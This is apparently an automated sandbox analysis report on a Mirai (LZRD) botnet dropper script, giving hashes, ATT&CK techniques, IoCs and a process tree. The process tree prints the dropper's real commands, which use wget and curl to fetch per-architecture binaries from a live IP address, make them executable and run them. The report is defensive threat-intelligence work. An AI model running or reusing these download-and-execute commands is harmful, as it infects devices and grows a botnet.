mirai | 81bceab3472a818b061caa7d8d0bab3171bed77a3b5b86ceffae3fd2d16be12b

Analysis

max time kernel
123s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
15-01-2025 06:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

sensi.sh
Size

1KB
MD5

b56a0716f8b4b73b0e35ebd7b66c03fa
SHA1

d9711b6f58091fd794bf341dd7237136436a4a74
SHA256

81bceab3472a818b061caa7d8d0bab3171bed77a3b5b86ceffae3fd2d16be12b
SHA512

8bf2d0b7cd72d77fa84ab03edc5ac7e217bd122ffabbe370d3f5a10333e22ea44ab0c151c2b76dd9f819341b0eb0f48acce2b0c2b7391bc8a19e44df0c6e23aa

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (15615) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
747	chmod
753	chmod
766	chmod
831	chmod
837	chmod
797	chmod
824	chmod
855	chmod
879	chmod
888	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/SSH	748	SSH
/tmp/SSH	754	SSH
/tmp/SSH	768	SSH
/tmp/SSH	798	SSH
/tmp/SSH	825	SSH
/tmp/SSH	832	SSH
/tmp/SSH	838	SSH
/tmp/SSH	857	SSH
/tmp/SSH	880	SSH
/tmp/SSH	889	SSH

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	SSH
File opened for modification	/dev/misc/watchdog	SSH

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	SSH

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-2.dat	upx
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-8.dat	upx

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	SSH

Reads runtime system information 42 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/714/exe	SSH
File opened for reading	/proc/821/exe	SSH
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/245/fd	SSH
File opened for reading	/proc/432/exe	SSH
File opened for reading	/proc/712/exe	SSH
File opened for reading	/proc/694/exe	SSH
File opened for reading	/proc/331/fd	SSH
File opened for reading	/proc/334/fd	SSH
File opened for reading	/proc/773/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/326/fd	SSH
File opened for reading	/proc/329/fd	SSH
File opened for reading	/proc/675/exe	SSH
File opened for reading	/proc/713/exe	SSH
File opened for reading	/proc/383/fd	SSH
File opened for reading	/proc/769/exe	SSH
File opened for reading	/proc/707/exe	SSH
File opened for reading	/proc/835/exe	SSH
File opened for reading	/proc/1/fd	SSH
File opened for reading	/proc/171/fd	SSH
File opened for reading	/proc/333/fd	SSH
File opened for reading	/proc/380/fd	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/671/exe	SSH
File opened for reading	/proc/677/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/723/exe	SSH
File opened for reading	/proc/784/exe	SSH
File opened for reading	/proc/813/exe	SSH
File opened for reading	/proc/151/fd	SSH
File opened for reading	/proc/378/fd	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/678/exe	SSH
File opened for reading	/proc/808/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/715/exe	SSH

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
750	wget
751	curl
752	cat

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/SSH	sensi.sh
File opened for modification	/tmp/xd.mpsl	wget
File opened for modification	/tmp/xd.mpsl	curl
File opened for modification	/tmp/xd.arm4	curl
File opened for modification	/tmp/xd.x86	curl
File opened for modification	/tmp/xd.arm5	wget
File opened for modification	/tmp/xd.arm6	curl
File opened for modification	/tmp/xd.ppc	wget
File opened for modification	/tmp/xd.m68k	wget
File opened for modification	/tmp/xd.sh4	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/xd.x86	wget
File opened for modification	/tmp/xd.mips	wget
File opened for modification	/tmp/xd.arm5	curl
File opened for modification	/tmp/xd.arm7	curl
File opened for modification	/tmp/xd.ppc	curl
File opened for modification	/tmp/xd.mips	curl
File opened for modification	/tmp/xd.arm6	wget
File opened for modification	/tmp/xd.arm7	wget
File opened for modification	/tmp/xd.m68k	curl
File opened for modification	/tmp/xd.sh4	wget

/tmp/sensi.sh
/tmp/sensi.sh
1⤵
- Writes file to tmp directory
PID:715
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.x86
  2⤵
  - Writes file to tmp directory
  PID:721
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/cat
  cat xd.x86
  2⤵
  PID:746
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat xd.mips
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.mips xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:754
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.mpsl
  2⤵
  - Writes file to tmp directory
  PID:756
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/cat
  cat xd.mpsl
  2⤵
  PID:765
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:768
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.arm4
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/cat
  cat xd.arm4
  2⤵
  PID:796
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.arm4 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:798
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.arm5
  2⤵
  - Writes file to tmp directory
  PID:801
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/cat
  cat xd.arm5
  2⤵
  PID:822
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:825
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.arm6
  2⤵
  - Writes file to tmp directory
  PID:827
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/cat
  cat xd.arm6
  2⤵
  PID:830
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:832
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.arm7
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/cat
  cat xd.arm7
  2⤵
  PID:836
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:838
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.ppc
  2⤵
  - Writes file to tmp directory
  PID:840
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat xd.ppc
  2⤵
  PID:854
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:857
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.m68k
  2⤵
  - Writes file to tmp directory
  PID:860
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/cat
  cat xd.m68k
  2⤵
  PID:878
- /bin/chmod
  chmod +x busybox sensi.sh SSH systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-DJ9mfo xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:880
- /usr/bin/wget
  wget http://45.13.151.59/d/xd.sh4
  2⤵
  - Writes file to tmp directory
  PID:882
- /usr/bin/curl
  curl -O http://45.13.151.59/d/xd.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/cat
  cat xd.sh4
  2⤵
  PID:887
- /bin/chmod
  chmod +x busybox sensi.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:889

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/SSH

Filesize
30KB

MD5
9eb3c4ba27a4fc327989972849b38ec5

SHA1
9c548f624b37f3526dd7852b604bdbf30f62a818

SHA256
a964b7ee00bf9c8c260d94a396558f91087e0cc108574abc9d859178be992001

SHA512
f811a849cd3fda6f106afd4eb15a39adad7c4d34087311e93e446a90aa4e616a7b7a034fd13ddf6eb1681ad5dbdb10643a97dedbf6167125227524ac9497ed76

Download Submit
/tmp/SSH

Filesize
31KB

MD5
25fd2c6601a15a434f1c292b7c4b1276

SHA1
54dfaa46b67dc80ccc9a9eec6a7f9e689277097f

SHA256
cd2e4527cedd13f92655f0ba0ef81ef8c096b9fe95b292bfa958ef58b59c0d8f

SHA512
1e046a98791ae2f5af7bcac041c30f422c221dde9d254f91d1bf67858234c4b6d81328c25ee642702c4a85b698cace7d2b6c338fcce1b41cfdf7f2087792d1a5

Download Submit
/tmp/SSH

Filesize
196B

MD5
62962daa1b19bbcc2db10b7bfd531ea6

SHA1
d64bae91091eda6a7532ebec06aa70893b79e1f8

SHA256
80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880

SHA512
9002a0475fdb38541e78048709006926655c726e93e823b84e2dbf5b53fd539a5342e7266447d23db0e5528e27a19961b115b180c94f2272ff124c7e5c8304e7

Download Submit
/tmp/SSH

Filesize
25KB

MD5
1eef15ca6184628b54671389f25d9074

SHA1
7e4c479458507f94e58cf1948dd55edf9c7955f6

SHA256
345d632c1f9def9685aaa29c9cf12a71c8d09f1126ec587cd18755ef26d3d941

SHA512
4bd484a4e688638357d5301a66f56bc4f4a269beeae49f44b7abf83186b332b536e2806077a14200f9b4d12bc09f4f6e12a9f23b5bcb905ccc4924eb473e165b

Download Submit
/tmp/SSH

Filesize
62KB

MD5
2be35a4be977b729f473abed043e2016

SHA1
843f1cc5bf80672fdccf966eb3157ed82edad35c

SHA256
379780768184200e4533d0b62e1886a95902db29010acc12ab85d43fd33bec71

SHA512
4d2e50aa8bb237a158d08bf845256c5f417746a1846c41cb05d0abdc71e6d491ac23b52d042ef61de25788d6af6afed88b893313b83feae3f8bb82a7df9afc2d

Download Submit
/tmp/busybox

Filesize
857KB

MD5
6ffc46165b5d9726a6607f3ea5305589

SHA1
ab127220f42e816b413dde0d17031e251a7bc98f

SHA256
80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

SHA512
456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

Download Submit
/tmp/xd.x86

Filesize
29KB

MD5
cb02e84a85813c662f7191cc1d19685f

SHA1
59ad600226c432b1b8c3a077be7a6c280c2da1a1

SHA256
3aff058d7b58eb91ccde83818aae5dd597aae06d96ab89c080c0a3d88f877f31

SHA512
ea9bea2cb21045791f611089d04714ef109dfc77d462763811bd4ce0dfeae93e7b6bd26637ccfc32e840504de17bf7da45ec29f0639f724de77ea985226e2f82

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads